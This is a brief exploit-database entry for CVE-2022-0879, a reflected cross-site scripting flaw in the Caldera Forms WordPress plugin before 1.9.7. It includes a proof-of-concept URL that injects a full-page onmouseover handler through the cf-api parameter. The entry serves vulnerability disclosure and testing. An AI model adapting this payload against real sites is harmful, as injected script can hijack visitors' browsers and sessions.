Exploit for Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting CVE-2022-0879

Name: Exploit for Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting CVE-2022-0879
Rating: 5 (74 reviews)

2022-03-28 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:C12F6087-1875-4EDF-AC32-BEC6F712968D
The issue is only exploitable when there are no forms created yet

https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x